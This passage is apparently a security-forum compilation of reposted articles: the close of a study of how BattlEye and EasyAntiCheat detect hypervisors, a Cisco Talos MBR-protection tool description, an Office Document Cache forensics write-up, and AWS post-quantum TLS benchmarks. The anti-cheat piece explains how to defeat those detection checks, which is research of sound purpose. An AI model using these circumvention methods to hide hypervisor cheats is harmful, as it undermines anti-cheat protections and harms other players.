(SegmentDesc.Bits.L) { __writeqword((u64*)((UINTN)Descriptor + FIELD_OFFSET(X86_DESCRIPTOR, Base.UInt64)), (u64)VmcsRead(VMCS_GUEST_IDTR_BASE)); } else { __writedword((u32*)((UINTN)Descriptor + FIELD_OFFSET(X86_DESCRIPTOR, Base.UInt32)),(u32)VmcsRead(VMCS_GUEST_IDTR_BASE)); } break; Anti-Cheat HV Detection Documented below are the methods that BattlEye and EAC employ to detect virtualized systems. Our research began with trapping on all various MSRs: VMX MSRs, EFER, Feature Control, APERF, MPERF, DEBUGCTL, and LSTAR. We also trapped on execution of VMX/SVM instructions, and traced back all executions of RDTSC and CPUID. The results were somewhat disappointing. BattlEye Procedures – RDTSC/CPUID/RDTSC The method that BattlEye employs is the standard timing attack using the rdtsc;cpuid;rdtsc combination. They’ve moderately improved the code since the article posted on a members blog, and moved the check to the kernel; it still exists nonetheless. No other checks are made currently. We expect with the rolling out of new technology will also yield more attention to hypervisors. This new component they’ve begun mapping into the kernel is still under investigation. EasyAntiCheat Procedures – VMREAD Currently EAC performs a single vmread upon driver initialization. They properly wrap this in an exception handler which is an improvement from some of the methods documented before. Unfortunately, the method around this is simple but if this works for them it seems that some platform is not denying access to vmread at CPL 0. The solution is to inject #UD to the guest when the VMM traps on vmread. We didn’t notice any accesses to CR4 or the MSRs we checked other than LSTAR, which wasn’t related to an LSTAR hook by a VMM. It looks like a provider may have disabled PatchGuard, modified LSTAR, and they added the LSTAR check to catch it. – RDTSC/CPUID/RDTSC EasyAntiCheat also uses the standard timing attack leaving them subject to being circumvented through proper TSC emulation (described in an earlier subsection). Overall, these virtualization checks are lacking and relatively simple to circumvent. Other anti-cheats like ESEA, FACEIT, B5, and eSportal employ more aggressive checks that net them greater effectiveness with catching hypervisor based cheats. We expect that the anti-cheats supporting the majority of games will begin to take this into consideration as the popularity of hypervisors increases. – IA32_EFER It came to our attention that EAC, after ~30 minutes of gameplay, queried IA32_EFER. We waited for a bit longer to see if any more reads/writes to MSRs came through, but after 40 minutes of sitting and waiting it was clear nothing else was coming. Below is the notification received in iPower’s tracer. It’s clear that the code executing this read is in some virtualized section of code. Upon analysis this is confirmed. We also confirmed that the bit it is checking is the syscall enable bit (SCE) in IA32_EFER. It checks this bit due to the release of the syscall hooking method using EFER published on Daax and ajkhoury’s blog. Without deobfuscating more of the code we believe it’s safe to assume this is the only bit it’s checking due to it’s relevance. Mitigation for this involves setting the bit corresponding to IA32_EFER in the MSR bitmap(s) and utilize the load/save space for IA32_EFER in the VMCS. IofCallDriver/NtDeviceIoControlFile Out of curiosity, we decided to take a look at BE and EACs calls to NtDeviceIoControlFile and IofCallDriver. We noticed an IofCallDriverWrapper in EAC, and that both anti-cheats use IofCallDriver in various places. NTSTATUS __fastcall IofCallDriverWrapper(__int64 IoctlCode, _DEVICE_OBJECT *DeviceObject, void *InputBuffer, ULONG InputBufferLength, void *OutputBuffer, ULONG OutputBufferLength); EAC uses IofCallDriver to query storage properties of the disk. This likely to gather information like the serial number, name, etc for hardware fingerprinting purposes. if ( IofCallDriverWrapper(0x2D1400i64, DeviceObject, &InputBuffer, 0xCu, &StorageDescriptorHeader, 8u) < 0 ) return v3; if ( StorageDescriptorHeader.Size <= 0x28 ) return v3; pbuf = (PSTORAGE_DEVICE_DESCRIPTOR)alloc_memory(StorageDescriptorHeader.Size); pbuf_1 = pbuf; if ( !pbuf ) return v3; memset(pbuf, 0, StorageDescriptorHeader.Size); *(_DWORD *)InputBuffer.AdditionalParameters = 0; InputBuffer.QueryType = 0; InputBuffer.PropertyId = 0; if (IofCallDriverWrapper(0x2D1400i64, Device_Disk_Sys, &InputBuffer, 0xCu, pbuf_1, StorageDescriptorHeader.Size) >= 0) { // ... } memset(&InputBuffer, 0, 0x21ui64); v20 = -20; if (IofCallDriver_ioctl(0x7C088i64, v5, &InputBuffer, 0x21u, OutputBuffer, 0x211u) >= 0) { // ... } EAC and BE also use NtDeviceIoControlFile to query NDIS driver with IOCTL_NDIS_QUERY_GLOBAL_STATS and OID of OID_802_3_PERMANENT_ADDRESS. This is used to acquire the MAC address of the system, also for hardware fingerprinting purposes. if ( ZwCreateFile(&FileHandle, 0x120089u, &ObjectAttributes, &IoStatusBlock, 0i64, 0x80u, 7u, 1u, 0x20u, 0i64, 0) >= 0 ) { current_thread = __readgsqword(0x188u); FileHandle_1 = FileHandle; old_previous_mode = GetPreviousMode(current_thread); SetPreviousMode(current_thread, 0); if ( NtDeviceIoControlFile ) { OutputBufferLength = 6; InputBufferLength = 4; IoctlCode = 0x170002; status = NtDeviceIoControlFile( FileHandle_1, 0i64, 0i64, 0i64, &IoStatusBlock, IoctlCode, &InputBuffer, InputBufferLength, &OutputBuffer, OutputBufferLength); } // ... } This may or may not be a complete list of the queries made for the purposes of hardware fingerprinting, as we hadn’t dug much further. They could be directly obtaining from the SSDT and calling directly, or using other means to call these functions indirectly. We plan to do a more in-depth analysis of their hardware fingerprinting in a future article - this was just a quick dump out of curiosity when hooking NtDeviceIoControlFile and IofCallDriver. Conclusion In this article, we’ve covered a lot of different detection methods for hypervisors that can be employed; some effective, others not-so-much. We also detailed some methods of circumventing the documented detection vectors, but much of the actual implementation will be up to the reader. This was not intended to be a piece providing complete solutions to every method of detection (and there’s far too many even for this article). However, we wanted to document the most commonly used methods, regardless of stability. We also took an brief look at EAC and BE’s virtualization checks which were somewhat disappointing given the growing popularity of using open-source hypervisor platforms for cheating. We’ve provided circumvention methods for their checks, and plan to release a complete, and refined solution for TSC emulation in the future. However, if the reader is not keen on waiting we provided a logical walkthrough of how to implement it. In future articles covering these two particular anti-cheats we plan to dig deeper into their hardware fingerprinting, reporting, and detection procedures. We hope you enjoyed reading about how different bugs in a virtualization platform can be leveraged to detect an introspective engine, and methods of passing these checks. If you’re interested in learning about virtualization, or writing your own hypervisor we recommend checking out these two series: Hypervisor From Scratch Parts 1 - 8 by @Sinaei 5 Days to Virtualization by @Daax References Bug Fix - Improper #DB Injection by (@drew) Bug Documentation - Invalid MSR in VMware by (@drew) Hyper-V and Malicious Hypervisor Detection by (@daax) CPUID Emulation and Proper Event Injection by (@daax) Thanks to iPower, Daax, drew, and ajkhoury for their work on system emulation tools. Sursa: https://secret.club/2020/04/13/how-anti-cheats-detect-system-emulation.html

MBR Filter MBR Filter is a simple disk filter designed by Cisco Talos to block write access to the Master Boot Record (MBR). The MBR is used to store information related to how the storage device is partitioned, as well as details regarding the filesystem configuration on the device. MBR Filter prevents rootkits, bootkits, and ransomware, such as Petya Ransomware, from overriding the operating system’s (OS) boot loader. Ransomware, like Petya, overwrite and encrypt the victim’s Master File Table (MTF) to coerce them into paying for an encryption key. MBR Filter, once installed, requires the system to boot in Safe Mode to enable write access to make changes to the device. This prevents malicious software from writing to or modifying the contents of this section of the machine or any disks connected to the system. MBR Filter enables users to effectively protect their systems from various malware families and disrupts the operations of cyber criminals, making their malware ineffective. Talos offers the MBR Filter in two formats usable on Windows based systems: open source which can be used and modified by anyone and a precompiled, signed driver executable that can be installed. MBRFilter has been intentionally made difficult to remove to prevent malware from simply disabling or removing this protection during the infection process. Test thoroughly before deploying within production environments. *Note - This tool is not officially supported and the user assumes all liability for the use of this tool. Sursa: https://talosintelligence.com/mbrfilter

Playlist:

An Inside View of Office Document Cache Exploitation 0 Comments Joakim Schicht  April 9, 2020 When we began our initial development of ODC Recon, we were aware that multiple versions of Microsoft Office documents could be extracted from FSD files found within Office Document Cache (on many kinds of devices, not just Windows workstations!) when OneDrive or SharePoint were in use. You can read more about Office Document Cache (ODC) and ODC Recon development here. As our development has continued, we are now aware of even more granular information related to particular edits, beyond the entire document versions which our customers have been using ODC Recon to extract from FSD files. When sharing Microsoft Office documents from OneDrive or SharePoint (hereafter we will simply refer to OneDrive), there are mechanisms active that facilitate collaboration features such as real-time co-authoring. These mechanisms (we refer to them as the “collaboration service”) are also responsible for the storage of granular revision information in the ODC. Granular Revision Information So where can this granular revision information be found within the ODC? Assuming that desktop versions of Office were used to interact with a document shared from OneDrive, in two places: Within the FSD file*1 associated with a OneDrive-shared document on each collaborator’s workstation Within the ODC’s temporary collaboration data on each collaborator’s workstation These two places are not always equal, and you will sometimes find granular revision information which does not exist within FSD files but only within temporary collaboration data. * 1 For Excel documents, the granular revision information is actually found outside of the document versions inside the FSD file… but still within the FSD file. For PowerPoint documents, it is found within the document versions found inside the FSD file and thus within the document itself – think about the possibilities in terms of PowerPoint documents which have been copied to other locations from OneDrive. For Word, we will get back to you. Before we get into the weeds, let’s establish why you might care about this more granular information related to particular edits even if you already use ODC Recon to extract entire document versions from FSD files within ODC. As a digital forensics practitioner, of course you would want to see particular edits to a document, especially if those revisions cannot be found in either a document in a forensic image (because it doesn’t “live” on the disk, it lives on OneDrive) or versions of it extracted from its associated FSD files in the forensic image… but there is more you should be aware of. As I mentioned above, this granular revision information can be found both within FSD files (in the case of Excel, apart from the document versions also contained within them) and within temporary collaboration data. The more granular revision information we are discussing here includes not only timestamps, but usernames (depending on the circumstances, collaborators other than the FSD file’s owner may be identified as “Guest User”) and user IDs – so if multiple users were collaborating on a document, and one of them replaced an important name in a document, you may be able to determine not only what exactly was replaced but when and by whom. Once you think through the implications of what can be done not only with multiple document versions extracted from FSD files as ODC Recon has always done, but what can be done with the granular revision information that can be found within FSD files and temporary collaboration data, you should be having a “lean back in the chair” moment. Please note that ODC Recon currently extracts granular revision information from FSD files. We will now expose you to our ongoing research and development related to the extraction of granular revision information from temporary collaboration data. Granular Revision Information within Temporary Collaboration Data Now, let’s work our way into the weeds in terms of granular revision information found within temporary collaboration data. Office stores temporary data related to the collaboration service (i.e. temporary collaboration data) by creating a “DS_(X)” subfolder in the ODC for each particular document. This data is merged back into the document’s associated FSD at currently unknown intervals. Accordingly, the content of an FSD file associated with a particular document may or may not contain the latest revision data when that document was opened by multiple users. More specifically, the folder path within the ODC that we are referring to is: C:\Users\(Username)\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\DS_(X) The DS_(X) naming convention is: DS_0 = Word DS_1 = Excel DS_3 = Powerpoint Here is an actual example of a full path to a particular Excel document (in blue), and a particular revision of that document (in red), within the ODC’s temporary collaboration data: C:\Users\Joakim\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\DS_1\0\0\DCCDDJCVHSGBCKETCNHZDIDQB5CUFDDE\e_CCE3CTFAAUDAAIAQECHUEEAAG5AVDDD6 As you can see above, the subfolder related to a particular document is located 2 levels down from the two folders named “0”, and the particular document folder name and particular revision file names seem obfuscated in some way. The format of ODC temporary collaboration data differs significantly between Excel, PowerPoint, and Word documents. Our latest R&D has been largely focused on extracting granular revision information from Excel documents, as the merger of that data with FSD files appears to not only be “cached” longer (making the data even more compelling to digital forensics practitioners), but the format of Excel’s temporary collaboration data is the most sane. Here is a quick summary of where we are in terms of reversing these various formats of temporary collaboration data: Word (DS_0) The format of Word’s temporary collaboration data seems relatively complex compared to Excel and PowerPoint. It appears to involve interaction with multiple binary file formats. We are still working on how to best extract granular revision information from this data. Excel (DS_1) The format of Excel’s temporary collaboration data is relatively straightforward, as it uses temporary xml files from the original document. However (isn’t there always a “however” in digital forensics?), the files are stored in multiple ways and with obfuscated file names. The content of these files seems to include either compressed xml, uncompressed xml, or various unknown binary formats. The actual revisions are found within the temporary collaboration data file that effectively contains the revStreamX.xml. All revStreamX.xml files are indexed and referenced from revIndex.xml and revIndex.xml.rels. All of these xml files are normally stored within an Excel document’s FSD file, but separately from the actual document content. When temporary collaboration data files are created within DS_1, various files from the original documents’s ooXML structure are created in addition to these rev*.xml files. PowerPoint (DS_3) The format of PowerPoint’s temporary collaboration data also uses temporary xml files similar to Excel, but slightly differently. Inside the pptx you can find ppt/revisionInfo.xml and ppt/changesInfos/changesInfo1.xml which serve a somewhat similar purpose as the rev*.xml’s. Within the DS_3 folder, PowerPoint stores various document files including the revisionInfo.xml and changesInfo.xml. These files are stored similarly as for Excel and seem to include either compressed xml, uncompressed xml, or various unknown binary formats. It is not yet obvious which document a given folder belongs to. We have found that using the creator and created metadata from core.xml seems to be good for helping to identify the relevant document. The output from ODC Recon conveniently displays this metadata in the summary output. Extraction of Granular Revision Information within Temporary Collaboration Data Now we will demonstrate the extraction of granular revision information from temporary collaboration data which is not present in a document’s FSD file. Since we are still working on reversing Word’s temporary collaboration data format, and PowerPoint quickly merges temporary collaboration data into FSD files, we will perform this demonstration with an Excel document shared from OneDrive. The demonstration will involve this specific situation in which we have found granular revision information missing from an Excel document’s FSD: User A uses the desktop version of Excel to open a document stored on OneDrive User A shares document with User B User B opens document via online version of Excel (per email invitation from User A) User B makes various edits to document User A does not perform any edits, and after some time closes Excel User A’s computer is forensically imaged This is just one situation in which granular revision information is not merged into an FSD file. We are working on identifying more of these situations. In this situation, the edits made by user B will not end up in user A’s FSD file, but they can be found within user A’s DS_1 (temporary collaboration data) folder! We have built a small internal tool which parses the temporary collaboration data (DS_(X) folders) and extracts useful information, in order to identify where the granular revision information for particular documents is found… and to of course extract it. We may fold the functionality from this internal tool into ODC Recon if there is demand for it. To begin this demonstration, I opened an Excel document both with the desktop (User A) and online (User versions of Excel and then simulated collaboration between two users. Using online Excel I added a worksheet (Sheet4) with some data as can be seen in Image 1. Image 1 – User B I did not make edits to the document with the desktop version of Excel, but as can be seen in Image 2, the worksheet (Sheet 4) was created in the background while it was open in the desktop version of Excel. Image 2 – User A Then I closed both applications with the spreadsheet open. I grabbed the FSD related to this document and ran an internal build of ODC against it. Parsing went fine and ODC Recon exported both entire document versions and “RevisionData” files which contain granular revision information: test3_(2020-03-27T23-00-03Z)_0_.xlsx test3_(2020-03-27T23-00-03Z)_1_.xlsx test3_(2020-03-27T23-01-30Z)_xlsx_update0_RevisionData.zip test3_(2020-03-27T23-01-30Z)_2_.xlsx test3_(2020-03-27T23-01-20Z)_xlsx_update1_RevisionData.zip test3_(2020-03-27T23-17-53Z)_3_.xlsx test3_(2020-03-27T23-17-53Z)_4_.xlsx test3_(2020-03-27T23-17-37Z)_xlsx_update2_RevisionData.zip ODC Recon also reported on the granular revisions found within the “…RevisionData.zip” output files: Unique revision edits found: 8 Revision 0: 2020-27-03T23:01:04.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 1: 2020-27-03T23:01:14.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 2: 2020-27-03T23:01:20.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 3: 2020-27-03T23:16:42.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 4: 2020-27-03T23:16:56.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 5: 2020-27-03T23:17:02.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 6: 2020-27-03T23:17:09.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 7: 2020-27-03T23:17:37.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Document id: joakim - 2015-06-05T18:19:34Z | 13_ncr:1_{4ED293B0-872C-418A-901B-8DE71D84AD26} This output from ODC Recon helps us determine that the last granular revision found within the FSD is from 2020-27-03T23:17:37.000, and the most recent version of the spreadsheet exported is test3_(2020-03-27T23-17-53Z)_4_.xlsx. You will see why the “Document id” information will be useful soon. So I opened the test3_(2020-03-27T23-17-53Z)_4_.xlsx and we can see in Image 5 that the newly added worksheet is missing. I also looked into the granular revisions contained within the FSD’s revision data, and did not find any reference to the new worksheet. Image 5 – User A Ok, it is now time to look into the ODC’s temporary collaboration data within the DS_1 folder structure. Within DS_1 I found the folder with the most recent timestamp, which would likely be associated with the spreadsheet in question. But as we will see, there is other output from ODC Recon that we can use to identify a more specific connection between a particular document and temporary collaboration data. I opened up the folder C:\Users\joakim\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\DS_1\0\0\DCCDDJCVHSGBCKETCNHZDIDQB5CUFDDE and verified there are a bunch of files with obfuscated file names. See Image 6. Image 6 – User A Next I ran our internal tool for parsing temporary collaboration data (DS_1 content) and got this output: Unique revision edits found: 13 Revision 0: 2020-27-03T23:01:04.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 1: 2020-27-03T23:01:14.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 2: 2020-27-03T23:01:20.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 3: 2020-27-03T23:16:42.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 4: 2020-27-03T23:16:56.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 5: 2020-27-03T23:17:02.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 6: 2020-27-03T23:17:09.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 7: 2020-27-03T23:17:37.000 : author={"DisplayName":"joakim schicht","UserId":"94d4b574aac06f48","ProviderId":"Windows Live"} Revision 8: 2020-28-03T13:57:31.000 : author={"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"} Revision 9: 2020-28-03T13:57:49.000 : author={"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"} Revision 10: 2020-28-03T13:57:52.000 : author={"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"} Revision 11: 2020-28-03T13:57:54.000 : author={"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"} Revision 12: 2020-28-03T13:58:00.000 : author={"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"} Document id: joakim - 2015-06-05T18:19:34Z | 13_ncr:1_{4ED293B0-872C-418A-901B-8DE71D84AD26} Now, it is good to verify that we are actually in the correct DS_1 folder relating to our document in question. Compare the “Document id” values above. Then we see that granular revisions 8 through 12 are missing from the FSD. We can see the changes are performed by user “Gjestebruker” (Norwegian which means guest user in English), which seems to be the way that such metadata is stored when a document is edited by a “remote” user – for example, from the perspective of User A’s ODC, the remote user would be User B. An interesting thing to note here – if User B had not been logged into OneDrive when the same edit was made, the DisplayName would have been recorded as “Guest User” rather than “Gjestebruker” and the UserId value would be missing. In other words, if User B was logged into his OneDrive, the DisplayName recorded in User A’s ODC would be localized in terms of language and the UserId value would be present. If User B was not logged into his OneDrive while performing the same edit, the DisplayName recorded in User A’s ODC would be in English and the UserId value would be missing. As explained earlier, we need to look into the rev*.xml files to figure out exactly what revisions 8 through 12 were. At this point we don’t really know which revStream.xml to look at, so we need to open all the 7 files and see which of them contain revisions 8 through 12. We will use the timestamps (2020-28-03T13:57:31.000 – 2020-28-03T13:58:00.000) to identify them. We can disregard revIndex.xml and revIndex.xml.rels because those references are for filenames unknown to us. After a quick investigation of the 7 files, we have found the relevant revision entries. It seems to be the case that revisions which have already merged back into the FSD are stored in a group rather than individually. The unmerged revisions are stored individually – one per file. We thus have revisions 8 through 12 in 5 distinct files. Here are the granular revisions that we have been so interested in, sorted in correct order based on time (please focus on what I have placed in bold): <xrr rev="10" uid="{A1FF25BA-5CC5-45D6-9809-4CF545BFE1C2}" sh="{F159A474-B67C-4119-BB22-426224213613}" genVer="45" genBld="4503600461351149" author="{"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"}" time="2020-03-28T13:57:31"> <sht op="insert" name="Sheet1" idNew="3"/> </xrr> <xrr rev="11" uid="{3D449444-F482-4837-A0FA-C7C95BE723A5}" sh="{F159A474-B67C-4119-BB22-426224213613}" genVer="45" genBld="4503600461351149" author="{"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"}" time="2020-03-28T13:57:49"> <sht op="rename" name="Sheet4"/> </xrr> <xrr rev="12" uid="{E5E6A63C-3844-43A2-93C6-B7D16E5AAB73}" sh="{F159A474-B67C-4119-BB22-426224213613}" genVer="45" genBld="4503600461351149" author="{"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"}" time="2020-03-28T13:57:52"> <c r="B2"> <c> <v>1</v> </c> </c> </xrr> <xrr rev="13" uid="{2803D0FC-FAD1-4272-B3E8-3DD3A2E235C8}" sh="{F159A474-B67C-4119-BB22-426224213613}" genVer="45" genBld="4503600461351149" author="{"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"}" time="2020-03-28T13:57:54"> <c r="B3"> <c> <v>2</v> </c> </c> </xrr> <xrr rev="14" uid="{2ED94318-D312-41C8-8809-98364B7F1FC9}" sh="{F159A474-B67C-4119-BB22-426224213613}" ctx="copy" genVer="45" genBld="4503600461351149" author="{"DisplayName":"Gjestebruker","UserId":"c404e30d92fcbbbd","ProviderId":"Windows Live"}" time="2020-03-28T13:58:00"> <c r="B4:B42"> <c> <v>3</v> </c><c> <v>4</v> </c><c> <v>5</v> </c><c> <v>6</v> </c><c> <v>7</v> </c><c> <v>8</v> </c><c> <v>9</v> </c><c> <v>10</v> </c><c> <v>11</v> </c><c> <v>12</v> </c><c> <v>13</v> </c><c> <v>14</v> </c><c> <v>15</v> </c><c> <v>16</v> </c><c> <v>17</v> </c><c> <v>18</v> </c><c> <v>19</v> </c><c> <v>20</v> </c><c> <v>21</v> </c><c> <v>22</v> </c><c> <v>23</v> </c><c> <v>24</v> </c><c> <v>25</v> </c><c> <v>26</v> </c><c> <v>27</v> </c><c> <v>28</v> </c><c> <v>29</v> </c><c> <v>30</v> </c><c> <v>31</v> </c><c> <v>32</v> </c><c> <v>33</v> </c><c> <v>34</v> </c><c> <v>35</v> </c><c> <v>36</v> </c><c> <v>37</v> </c><c> <v>38</v> </c><c> <v>39</v> </c><c> <v>40</v> </c><c> <v>41</v> </c> </c> </xrr> These revisions match the metadata we reviewed earlier, but now we know exactly what the revisions were: 2020-03-28T13:57:31 Inserted a new worksheet, Sheet1. 2020-03-28T13:57:49 Renamed the worksheet to Sheet4. 2020-03-28T13:57:52 Put the value “1” into cell B2. 2020-03-28T13:57:54 Put the value “2” into cell B3. 2020-03-28T13:58:00 Generated more values in cells downwards to B42. You have now seen in this demonstration how we managed to find granular revisions to an Excel document within the ODC’s temporary collaboration data on User A’s workstation, which were not available in an active document (because the Excel document existed on OneDrive, not User A’s workstation) or the FSD file (associated with the Excel document on OneDrive) on User A’s workstation. We can also confirm that the recovered granular revision information is consistent with what we saw earlier. It is worth noting that the next time the Excel document is opened by User A with the desktop version of Excel, this granular revision information will be merged into the FSD file on User A’s workstation. Conclusion I hope you have enjoyed this inside view of Office Document Cache exploitation. As you may already suspect, we just scratching the surface here in terms of ODC… there is much more to come! Sursa: https://arsenalrecon.com/2020/04/an-inside-view-of-office-document-cache-exploitation/

Round 2 Hybrid Post-Quantum TLS Benchmarks by Alex Weibel | on 13 APR 2020 | in Advanced (300), AWS Key Management Service, Security, Identity, & Compliance | Permalink | Comments | Share AWS Cryptography has completed benchmarks of Round 2 Versions of the Bit Flipping Key Encapsulation (BIKE) and Supersingular Isogeny Key Encapsulation (SIKE) hybrid post-quantum Transport Layer Security (TLS) Algorithms. Both of these algorithms have been submitted to the National Institute of Standards and Technology (NIST) as part of NIST’s Post-Quantum Cryptography standardization process. In the first hybrid post-quantum TLS blog, we announced that AWS Key Management Service (KMS) had launched support for hybrid post-quantum TLS 1.2 using Round 1 versions of BIKE and SIKE. In this blog, we are announcing AWS Cryptography’s benchmark results of using Round 2 versions of BIKE and SIKE with hybrid post-quantum TLS 1.2 against an HTTP webservice. Round 2 versions of BIKE and SIKE include performance improvements, parameter tuning, and algorithm updates in response to NIST’s comments on Round 1 versions. I’ll give a refresher on hybrid post-quantum TLS 1.2, go over our Round 2 hybrid post-quantum TLS 1.2 benchmark results, and then describe our benchmarking methodology. This blog post is intended to inform software developers, AWS customers, and cryptographic researchers about the potential upcoming performance differences between classical and hybrid post-quantum TLS. Refresher on Hybrid Post-Quantum TLS 1.2 Some of this section is repeated from the previous hybrid post-quantum TLS 1.2 launch announcement for KMS. If you are already familiar with hybrid post-quantum TLS, feel free to skip to the Benchmark Results section. What is Hybrid Post-Quantum TLS 1.2? Figure 1: Differences in the master secret derivation process between classical and hybrid post-quantum TLS 1.2 Hybrid post-quantum TLS 1.2 is a proposed extension to the TLS 1.2 Protocol implemented by Amazon’s open source TLS library s2n that provides the security protections of both the classical and post-quantum schemes. It does this by performing two independent key exchanges (one classical and one post-quantum), and then cryptographically combining both keys into a single TLS master secret. Why is Post-Quantum TLS Important? Hybrid post-quantum TLS allows connections to remain secure even if one of the key exchanges (either classical or post-quantum) performed during the TLS Handshake is compromised in the future. For example, if a sufficiently large-scale quantum computer were to be built, it could break the current classical public-key cryptography that is used for key exchange in every TLS connection today. Encrypted TLS traffic recorded today could be decrypted in the future with a large-scale quantum computer if post-quantum TLS is not used to protect it. Round 2 Hybrid Post-Quantum TLS Benchmark Results Figure 2: Latency in relation to HTTP request count for four key exchange algorithms Key Exchange Algorithm Server PQ Implementation TLS Handshake + 1 HTTP Request TLS Handshake + 2 HTTP Requests TLS Handshake + 10 HTTP Requests TLS Handshake + 25 HTTP Requests ECDHE Only N/A 10.8 ms 15.1 ms 52.6 ms 124.2 ms ECDHE + BIKE1‑CCA‑L1‑R2 C 19.9 ms 24.4 ms 61.4 ms 133.2 ms ECDHE + SIKE‑P434‑R2 C 169.6 ms 180.3 ms 219.1 ms 288.1 ms ECDHE + SIKE‑P434‑R2 x86-64 Assembly 20.1 ms 24.5 ms 62.0 ms 133.3 ms Table 1 shows the time (in milliseconds) that a client and server in the same region take to complete a TCP Handshake, a TLS Handshake, and complete varying numbers of HTTP Requests sent to an HTTP web service running on an i3en.12xlarge host. Key Exchange Algorithm Client Hello Server Key Exchange Client Key Exchange Other TLS Handshake Total ECDHE Only 218 338 75 2430 3061 ECDHE + BIKE1‑CCA‑L1‑R2 220 3288 3023 2430 8961 ECDHE + SIKE‑P434‑R2 214 672 423 2430 3739 Table 2 shows the amount of data (in bytes) used by different messages in the TLS Handshake for each Key Exchange algorithm. 1 HTTP Request 2 HTTP Requests 10 HTTP Requests 25 HTTP Requests HTTP Request Bytes 878 1,761 8,825 22,070 HTTP Response Bytes 698 1,377 6,809 16,994 Total HTTP Bytes 1576 3,138 15,634 39,064 Table 3 shows the amount of data (in bytes) sent and received through each TLS connection for varying numbers of HTTP requests. Benchmark Results Analysis In general, we find that the major trade off between BIKE and SIKE is data usage versus processing time, with BIKE needing to send more bytes but requiring less time processing them, and SIKE making the opposite trade off of needing to send fewer bytes but requiring more time processing them. At the time of integration for our benchmarks, an x86-64 assembly optimized implementation of BIKE1-CCA-L1-R2 was not available in s2n. Our results show that when only a single HTTP request is sent, completing a BIKE1-CCA-L1-R2 hybrid TLS 1.2 handshake takes approximately 84% more time compared to a non-hybrid TLS connection, and completing an x86-64 assembly optimized SIKE-P434-R2 hybrid TLS 1.2 handshake takes approximately 86% more time than non-hybrid. However, at 25 HTTP Requests per TLS connection, when using the fastest available implementation for both BIKE and SIKE, the increased TLS Handshake latency is amortized, and only 7% more total time is needed for both BIKE and SIKE compared to a classical TLS connection. Our results also show that BIKE1-CCA-L1-R2 hybrid TLS Handshakes used 5900 more bytes than a classical TLS Handshake, while SIKE-P434-R2 hybrid TLS Handshakes used 678 more bytes than classical TLS. In the AWS EC2 network, using modern x86-64 CPU’s with the fastest available algorithm implementations, we found that BIKE and SIKE performed similarly, with their maximum latency difference being only 0.6 milliseconds apart, and BIKE being the faster of the two in every benchmark. However when compared to SIKE’s C implementation, which would be used on hosts without the ADX and MULX x86-64 instructions used by SIKE’s assembly implementation, BIKE performed significantly better, seeing a maximum improvement of 157 milliseconds over SIKE. Hybrid Post-Quantum TLS Benchmark Details and Methodology Hybrid Post-Quantum TLS Client Figure 3: Architecture diagram of the AWS SDK Java Client using Java Native Interface (JNI) to communicate with the native AWS Common Runtime (CRT) Our post-quantum TLS Client is using the aws-crt-dev-preview branch of the AWS SDK Java v2 Client, that has Java Native Interface Bindings to the AWS Common Runtime (AWS CRT) written in C. The AWS Common Runtime uses s2n for TLS negotiation on Linux platforms. Our client was a single EC2 i3en.6xlarge host, using v0.5.1 of the AWS Common Runtime (AWS CRT) Java Bindings, with commit f3abfaba of s2n and used the x86-64 Assembly implementation for all SIKE-P434-R2 benchmarks. Hybrid Post-Quantum TLS Server Our server was a single EC2 i3en.12xlarge host running a REST-ful HTTP web service which used s2n to terminate TLS connections. In order to measure the latency of the SIKE-P434-R2 C implementation on these hosts, we used an s2n compile time flag to build a 2nd version of s2n with SIKE’s x86-64 assembly optimization disabled, and reran our benchmarks with that version. We chose i3en.12xlarge as our host type because it is optimized for high IO usage, provides high levels of network bandwidth, has a high number of vCPU’s that is typical for many web service endpoints, and has a modern x86-64 CPU with the ADX and MULX instructions necessary to use the high performance Round 2 SIKE x86-64 assembly implementation. Additional TLS Handshake benchmarks performed on other modern types of EC2 hosts, such as the C5 family and M5 family of EC2 instances, also showed similar latency results to those generated on i3en family of EC2 instances. Post-Quantum Algorithm Implementation Details The implementations of the post-quantum algorithms used in these benchmarks can be found in the pq-crypto directory of the s2n GitHub Repository. Our Round 2 BIKE implementation uses portable optimized C code, and our Round 2 SIKE implementation 